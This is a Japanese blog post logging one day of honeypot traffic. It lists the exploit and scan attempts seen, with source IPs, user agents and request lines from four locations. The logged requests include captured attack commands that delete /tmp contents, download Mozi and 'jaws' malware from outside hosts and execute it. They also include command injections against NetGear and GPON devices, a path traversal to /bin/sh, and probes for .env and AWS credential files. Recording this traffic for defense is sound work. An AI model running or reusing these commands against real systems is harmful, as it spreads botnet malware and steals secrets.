コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2022/08/03 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2022/08/03分です。

特徴
共通

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為
Apache Solrへのスキャン行為
Laravelへのスキャン行為

Location:JP

NetGear製品の脆弱性を狙うアクセス
curlによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
WordPress Pluginへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget networkmapping.xyz/jaws;
sh /tmp/jaws
Location:US

Atlassian Jira Server/Data Centerの脆弱性(CVE-2021-26086)を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Lkx-Apache2449TraversalPluginによるスキャン行為
Lkx-TraversalHttpPluginによるスキャン行為
l9exploreによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為

を確認しました。

Location:UK

Lkx-TraversalHttpPluginによるスキャン行為
curlによるスキャン行為
l9exploreによるスキャン行為
.cssへのスキャン行為
/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws
Location:SG

curlによるスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  rischyo.cf/jaws;
sh /tmp/jaws
cd /tmp;
rm -rf *;
wget networkmapping.xyz/jaws;
sh /tmp/jaws
他
アクセス数推移

JP：総アクセス数：310 (前日比：84)
US：総アクセス数：84 (前日比：4)
UK：総アクセス数：95 (前日比：52)
SG：総アクセス数：100 (前日比：30)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 2.57.122.209 Romania
1 3.252.36.157 United States
25 18.130.149.154 United States
106 20.14.74.138 United States
2 20.150.137.208 United States
1 35.87.55.202 United States
39 44.203.68.53 United States
2 45.148.10.81 Romania
1 83.143.86.62 Norway
16 95.214.235.205 Ukraine
1 112.94.98.118 China
1 114.55.247.147 China
1 116.111.84.250 Vietnam
8 135.125.217.54 France
8 135.125.246.189 France
1 137.184.33.230 United States
2 139.59.146.171 Singapore
1 147.182.205.218 United States
1 151.106.15.165 Germany
4 163.123.143.71 United States
1 164.92.85.208 United States
1 172.104.138.223 United States
1 172.104.242.173 United States
1 175.107.1.60 Pakistan
63 180.244.162.202 Indonesia
1 183.138.124.198 China
13 185.7.214.104 Hong Kong
1 191.101.209.23 Bosnia and Herzegovina
1 192.241.195.156 United States
1 192.241.206.94 United States
1 192.241.220.186 United States
1 203.174.87.98 Singapore
1 205.210.31.137 United States
1 208.67.105.124 United States

UserAgent一覧

件数 UserAgent
25 'Cloud mapping experiment. Contact research@pdrlabs.net'
5 -
3 Go-http-client/1.1
1 Hello, world
2 Mozila/5.0
1 Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)
13 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
39 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
1 Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
63 Mozilla/5.0 (Windows; U; MSIE 10.0; Windows NT.6.2; .NET CLR 3.1.21282; WOW64)
39 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 zgrab/0.x
1 Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
1 curl/7.74.0
106 python-requests/2.22.0
2 python-requests/2.25.1

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_18.179.20.5_80\n
1 \x16\x03\x01
1 GET /.aws/credentials HTTP/1.1
1 GET /.env.bak HTTP/1.1
1 GET /.env.dev HTTP/1.1
1 GET /.env.local HTTP/1.1
1 GET /.env.prod HTTP/1.1
1 GET /.env.production HTTP/1.1
1 GET /.env.save HTTP/1.1
42 GET /.env HTTP/1.1
1 GET /.environment HTTP/1.1
1 GET /.envr HTTP/1.1
1 GET /.envs HTTP/1.1
4 GET /.git/config HTTP/1.1
1 GET /.local HTTP/1.1
1 GET /.production HTTP/1.1
1 GET /.remote HTTP/1.1
1 GET //.msmtprc HTTP/1.1
1 GET //_profiler/phpinfo.php HTTP/1.1
1 GET //_profiler/phpinfo HTTP/1.1
1 GET //admin/.env HTTP/1.1
1 GET //administrator/.env HTTP/1.1
1 GET //api/.env HTTP/1.1
1 GET //app/.env HTTP/1.1
1 GET //apps/.env HTTP/1.1
1 GET //asdf[.]php HTTP/1.1
1 GET //assets/.env HTTP/1.1
1 GET //config/.env HTTP/1.1
1 GET //core/.env HTTP/1.1
1 GET //core/Datavase/.env HTTP/1.1
1 GET //core/app/.env HTTP/1.1
1 GET //cron/.env HTTP/1.1
1 GET //cronlab/.env HTTP/1.1
1 GET //dashboard/phpinfo.php HTTP/1.1
1 GET //database/.env HTTP/1.1
1 GET //debug/default/view.html HTTP/1.1
1 GET //debug/default/view HTTP/1.1
1 GET //en/.env HTTP/1.1
1 GET //exapi/.env HTTP/1.1
1 GET //frontend/web/debug/default/view HTTP/1.1
1 GET //frontend_dev[.]php/$ HTTP/1.1
1 GET //i[.]php HTTP/1.1
1 GET //lab/.env HTTP/1.1
1 GET //laravel/.env HTTP/1.1
1 GET //lib/.env HTTP/1.1
1 GET //misc/info.php HTTP/1.1
1 GET //misc/phpinfo.php HTTP/1.1
1 GET //phpversion[.]php HTTP/1.1
1 GET //psnlink/.env HTTP/1.1
1 GET //public/.env HTTP/1.1
1 GET //saas/.env HTTP/1.1
1 GET //sapi/debug/default/view HTTP/1.1
1 GET //site/.env HTTP/1.1
1 GET //sitemaps/.env HTTP/1.1
1 GET //time[.]php HTTP/1.1
1 GET //tool/view/phpinfo.view.php HTTP/1.1
1 GET //tools/.env HTTP/1.1
1 GET //uploads/.env HTTP/1.1
1 GET //v1/.env HTTP/1.1
1 GET //v2/.env HTTP/1.1
1 GET //vendor/.env HTTP/1.1
1 GET //web/.env HTTP/1.1
1 GET //web/debug/default/view HTTP/1.1
1 GET //wp-config.php-backup HTTP/1.1
1 GET /0bef HTTP/1.0
1 GET /2.0/gui/ HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /HNAP1/ HTTP/1.1
1 GET /PhPinfo.php HTTP/1.1
1 GET /WebViewer.html HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /actuator/health HTTP/1.1
2 GET /admin/.env HTTP/1.1
2 GET /api/.env HTTP/1.1
1 GET /app/.env HTTP/1.1
1 GET /app/config/config.yml HTTP/1.1
1 GET /app/config/secrets.yml HTTP/1.1
1 GET /application/.env HTTP/1.1
1 GET /apps/.env HTTP/1.1
1 GET /apps HTTP/1.1
1 GET /auth/.env HTTP/1.1
1 GET /aws.yml HTTP/1.1
1 GET /back/.env HTTP/1.1
1 GET /backend/.env HTTP/1.1
1 GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0
1 GET /cgi-bin/login.cgi HTTP/1.1
1 GET /cli/.env HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /config/.env HTTP/1.1
1 GET /config/aws.yml HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /core/.env HTTP/1.1
1 GET /cp/.env HTTP/1.1
1 GET /database.yml HTTP/1.1
1 GET /dependencies/.env HTTP/1.1
1 GET /deployment/.env HTTP/1.1
1 GET /dev/.env HTTP/1.1
1 GET /development/.env HTTP/1.1
1 GET /doc/page/login.asp HTTP/1.1
1 GET /doc/script/lib/seajs/config/sea-config.js HTTP/1.1
1 GET /docker/.env HTTP/1.1
1 GET /document/.env HTTP/1.1
1 GET /engine/.env HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /framework/.env HTTP/1.1
1 GET /frontend/.env HTTP/1.1
1 GET /fuN3 HTTP/1.0
1 GET /global-protect/login.esp HTTP/1.1
1 GET /help.php HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /i.php HTTP/1.1
1 GET /index.asp HTTP/1.1
1 GET /index.html HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /info-php.php HTTP/1.1
2 GET /info.php HTTP/1.1
1 GET /info_php.php HTTP/1.1
1 GET /infophp.php HTTP/1.1
1 GET /information.php HTTP/1.1
1 GET /information HTTP/1.1
1 GET /laravel-artisa/.env HTTP/1.1
2 GET /laravel/.env HTTP/1.1
1 GET /linusadmin-phpinfo.php HTTP/1.1
1 GET /local/.env HTTP/1.1
1 GET /login.cs HTTP/1.1
1 GET /login.html HTTP/1.1
1 GET /login.rsp HTTP/1.1
1 GET /login/.env HTTP/1.1
1 GET /login/?next=/ HTTP/1.1
1 GET /login HTTP/1.1
1 GET /master/.env HTTP/1.1
1 GET /mm/ HTTP/1.1
1 GET /node HTTP/1.1
1 GET /npclient.html HTTP/1.1
1 GET /old_phpinfo.php HTTP/1.1
1 GET /p-info.php HTTP/1.1
1 GET /p.php HTTP/1.1
1 GET /p_info.php HTTP/1.1
1 GET /peep.php HTTP/1.1
1 GET /personal/.env HTTP/1.1
1 GET /php-info.php HTTP/1.1
1 GET /php-info/info.php HTTP/1.1
1 GET /php-info/php-details.php HTTP/1.1
1 GET /php-info/php-info.php HTTP/1.1
1 GET /php-info/php.php HTTP/1.1
1 GET /php-info/php_details.php HTTP/1.1
1 GET /php-info/php_info.php HTTP/1.1
1 GET /php-info/phpdetails.php HTTP/1.1
1 GET /php-info/phpinfo.php HTTP/1.1
1 GET /php-info/pinfo.php HTTP/1.1
1 GET /php-info HTTP/1.1
1 GET /php-information HTTP/1.1
1 GET /php.php HTTP/1.1
1 GET /php_details HTTP/1.1
1 GET /php_info.php HTTP/1.1
1 GET /php_info/info.php HTTP/1.1
1 GET /php_info/php-details.php HTTP/1.1
1 GET /php_info/php-info.php HTTP/1.1
1 GET /php_info/php.php HTTP/1.1
1 GET /php_info/php_details.php HTTP/1.1
1 GET /php_info/php_info.php HTTP/1.1
1 GET /php_info/phpdetails.php HTTP/1.1
1 GET /php_info/phpinfo.php HTTP/1.1
1 GET /php_info/pinfo.php HTTP/1.1
1 GET /phpdetails HTTP/1.1
2 GET /phpinfo.php HTTP/1.1
1 GET /phpinfo/info.php HTTP/1.1
1 GET /phpinfo/php-details.php HTTP/1.1
1 GET /phpinfo/php-info.php HTTP/1.1
1 GET /phpinfo/php.php HTTP/1.1
1 GET /phpinfo/php_details.php HTTP/1.1
1 GET /phpinfo/php_info.php HTTP/1.1
1 GET /phpinfo/phpdetails.php HTTP/1.1
1 GET /phpinfo/phpinfo.php HTTP/1.1
1 GET /phpinfo/pinfo.php HTTP/1.1
2 GET /phpinfo HTTP/1.1
1 GET /phpinformation.php HTTP/1.1
1 GET /phpinformation HTTP/1.1
1 GET /pinfo.php HTTP/1.1
1 GET /pip.php HTTP/1.1
1 GET /pop.php HTTP/1.1
1 GET /portal HTTP/1.1
1 GET /private/.env HTTP/1.1
1 GET /prod/.env HTTP/1.1
1 GET /project/.env HTTP/1.1
1 GET /protected/.env HTTP/1.1
1 GET /public/.env HTTP/1.1
1 GET /rest/.env HTTP/1.1
1 GET /root/.env HTTP/1.1
1 GET /search/.env HTTP/1.1
1 GET /secrets.yml HTTP/1.1
1 GET /server/.env HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /shared/.env HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+networkmapping[.]xyz/jaws;sh+/tmp/jaws HTTP/1.1
1 GET /site/.env HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /something.php HTTP/1.1
1 GET /src/.env HTTP/1.1
1 GET /system/.env HTTP/1.1
1 GET /test.php HTTP/1.1
1 GET /users/sign_in HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /video.html HTTP/1.1
1 GET /vpn/index.html HTTP/1.1
1 GET /vue/.env HTTP/1.1
1 GET /web/.env HTTP/1.1
1 GET /web/index.html HTTP/1.1
1 GET /webconsole/webpages/login.jsp HTTP/1.1
1 GET /webui HTTP/1.1
1 GET /z.php HTTP/1.1
3 GET http[:]//example[.]com/ HTTP/1.1
1 GET http[:]//journalseek[.]net/ HTTP/1.1
1 HEAD / HTTP/1.1
1 POST //admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST //www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
2 POST /HNAP1/ HTTP/1.1
4 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
2 20.124.91.167 United States
1 45.148.10.81 Romania
9 51.79.29.48 Canada
1 52.209.5.234 United States
1 64.62.197.88 United States
1 124.152.109.139 China
1 137.184.84.171 United States
1 139.59.156.177 Singapore
1 141.98.83.140 Panama
24 161.35.188.242 United States
1 162.142.125.213 United States
3 163.123.143.71 United States
6 163.123.143.198 United States
1 167.94.146.58 United States
1 167.248.133.44 United States
1 172.105.89.161 United States
2 179.43.155.171 Panama
1 181.214.218.69 United States
9 185.7.214.104 Hong Kong
1 185.190.24.90 Panama
7 185.254.196.223 Ukraine
1 192.241.214.26 United States
1 192.241.220.12 United States
1 192.241.221.80 United States
1 192.241.221.139 United States
1 193.124.7.9 Czechia
1 195.3.146.91 Latvia
1 201.150.186.133 Bolivia
1 205.210.31.16 United States
1 210.16.102.156 India

UserAgent一覧

件数 UserAgent
19 -
5 Go-http-client/1.1
1 Lkx-Apache2449TraversalPlugin/0.0.1 (+https[:]//leakix[.]net/, +https[:]//twitter[.]com/HaboubiAnis)
1 Lkx-TraversalHttpPlugin/0.0.1 (+https[:]//leakix[.]net/, +https[:]//twitter[.]com/HaboubiAnis)
1 Mozila/5.0
1 Mozilla/5.0 (Microsoft Windows NT 6.2.9200.0); rv:22.0) Gecko/20130405 Firefox/22.0
9 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
1 Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
19 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
4 Mozilla/5.0 zgrab/0.x
18 l9explore/1.3.0
1 python-requests/2.25.1

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_34.68.118.83_80\n
2 \x03
1 \x16\x03\x01\x02
3 \x16\x03\x01
1 \xba\xabd\xa1EZC\xdbM\x87\xee^\xfd\xbf\x159 X\xd4>\x12\x98\xc4<\xe0\x13\xcf
1 CONNECT leakix[.]net:443 HTTP/1.1
1 GET /.DS_Store HTTP/1.1
20 GET /.env HTTP/1.1
2 GET /.git/config HTTP/1.1
1 GET /.json HTTP/1.1
1 GET //MyAdmin/scripts/setup.php HTTP/1.1
1 GET //myadmin/scripts/setup.php HTTP/1.1
1 GET //phpMyAdmin/scripts/setup.php HTTP/1.1
1 GET //phpmyadmin/scripts/setup.php HTTP/1.1
1 GET //pma/scripts/setup.php HTTP/1.1
1 GET /?pp=env HTTP/1.1
1 GET /HNAP1/ HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /api/geojson?url=file:///etc/hosts HTTP/1.1
1 GET /api/search?folderIds=0 HTTP/1.1
1 GET /boaform/admin/formLogin?username=user&psd=user HTTP/1.0
2 GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts HTTP/1.1
1 GET /config.json HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /debug/default/view?panel=config HTTP/1.1
1 GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1
2 GET /favicon.ico HTTP/1.1
1 GET /frontend_dev.php/$ HTTP/1.1
1 GET /hardhat.config.js HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /idx_config/ HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /login.action HTTP/1.1
1 GET /muieblackcat HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /s/lkx/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//124[.]152[.]109[.]139:34222/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /telescope/requests HTTP/1.1
1 GET /v2/_catalog HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET http[:]//example[.]com/ HTTP/1.1
1 POST /29369674 HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /HNAP1/ HTTP/1.1
3 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 PRI * HTTP/2.0
1 PUT /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
2 20.14.97.133 United States
1 52.141.49.32 United States
1 65.49.20.126 United States
1 120.86.253.101 China
14 134.122.112.12 United States
1 139.59.146.171 Singapore
2 139.59.156.177 Singapore
47 141.105.66.212 Russia
4 163.123.143.71 United States
1 172.104.138.223 United States
1 181.214.218.69 United States
12 185.7.214.104 Hong Kong
1 192.241.212.152 United States
1 192.241.216.76 United States
1 192.241.219.83 United States
1 192.241.222.34 United States
1 193.124.7.9 Czechia
1 205.210.31.8 United States
1 205.210.31.142 United States
1 209.141.34.187 United States

UserAgent一覧

件数 UserAgent
7 -
4 Go-http-client/1.1
1 Hello, world
1 Lkx-TraversalHttpPlugin/0.0.1 (+https[:]//leakix[.]net/, +https[:]//twitter[.]com/HaboubiAnis)
3 Mozila/5.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
1 Mozilla/5.0 (Microsoft Windows NT 6.2.9200.0); rv:22.0) Gecko/20130405 Firefox/22.0
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
2 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
4 Mozilla/5.0 zgrab/0.x
45 curl/7.54.0
9 l9explore/1.3.0

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_132.145.66.34_80\n
2 \x16\x03\x01\x02
3 \x16\x03\x01
1 CONNECT leakix[.]net:443 HTTP/1.1
1 GET /.DS_Store HTTP/1.1
2 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
1 GET /.json HTTP/1.1
1 GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1
1 GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /CSS/Miniweb.css HTTP/1.1
1 GET /GgDj HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /Portal/Portal.mwsl HTTP/1.1
1 GET /Portal0000.htm HTTP/1.1
1 GET /__Additional HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /admin.asp HTTP/1.1
1 GET /admin.jsa HTTP/1.1
1 GET /admin.shtml HTTP/1.1
1 GET /api/search?folderIds=0 HTTP/1.1
1 GET /base.asp HTTP/1.1
1 GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /default.php HTTP/1.1
1 GET /docs/cplugError.html/ HTTP/1.1
1 GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/1.1
4 GET /favicon.ico HTTP/1.1
1 GET /fuN3 HTTP/1.0
1 GET /home.asp HTTP/1.1
1 GET /hudson HTTP/1.1
1 GET /idx_config/ HTTP/1.1
1 GET /index.cfm HTTP/1.1
1 GET /index.jsp HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /index.shtml HTTP/1.1
1 GET /indice.asp HTTP/1.1
1 GET /indice.jhtml HTTP/1.1
1 GET /indice.jsp HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /inicio.cgi HTTP/1.1
1 GET /localstart.cgi HTTP/1.1
1 GET /localstart.php HTTP/1.1
1 GET /localstart.pl HTTP/1.1
1 GET /localstart.shtml HTTP/1.1
1 GET /login.action HTTP/1.1
1 GET /main.jhtml HTTP/1.1
1 GET /main.pl HTTP/1.1
1 GET /menu.asp HTTP/1.1
1 GET /menu.cfm HTTP/1.1
1 GET /menu.html HTTP/1.1
1 GET /menu.jsa HTTP/1.1
1 GET /menu.jsp HTTP/1.1
1 GET /menu.pl HTTP/1.1
1 GET /nmaplowercheck1659445965 HTTP/1.1
1 GET /pools/default/buckets HTTP/1.1
1 GET /pools HTTP/1.1
1 GET /portal/redlion HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /start.jsa HTTP/1.1
1 GET /telescope/requests HTTP/1.1
1 GET /v2/_catalog HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET http[:]//example[.]com/ HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /29369674 HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
3 POST /HNAP1/ HTTP/1.1
4 POST /boaform/admin/formLogin HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /scripts/WPnBr.dll HTTP/1.1
1 POST /sdk HTTP/1.1
2 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 PUT /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 2.57.122.209 Romania
1 20.55.53.144 United States
33 20.198.222.157 United States
11 51.79.29.48 Canada
1 51.89.199.116 France
2 51.159.164.227 France
1 66.240.192.82 United States
1 77.249.209.162 Netherlands
7 108.170.31.55 United States
2 109.237.103.123 Russia
1 111.43.114.55 China
1 124.221.9.159 China
1 137.184.33.230 United States
1 137.184.88.136 United States
1 139.59.146.171 Singapore
1 162.142.125.219 United States
1 162.142.125.222 United States
3 163.123.143.71 United States
1 164.92.85.208 United States
1 167.94.145.60 United States
13 185.7.214.104 Hong Kong
8 185.254.196.223 Ukraine
1 192.241.203.88 United States
1 192.241.213.4 United States
1 192.241.214.216 United States
1 192.241.221.20 United States
1 193.124.7.9 Czechia
1 202.138.249.12 Indonesia
1 205.210.31.25 United States

UserAgent一覧

件数 UserAgent
9 -
2 Go-http-client/1.1
1 Hello, world
1 Mozila/5.0
13 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
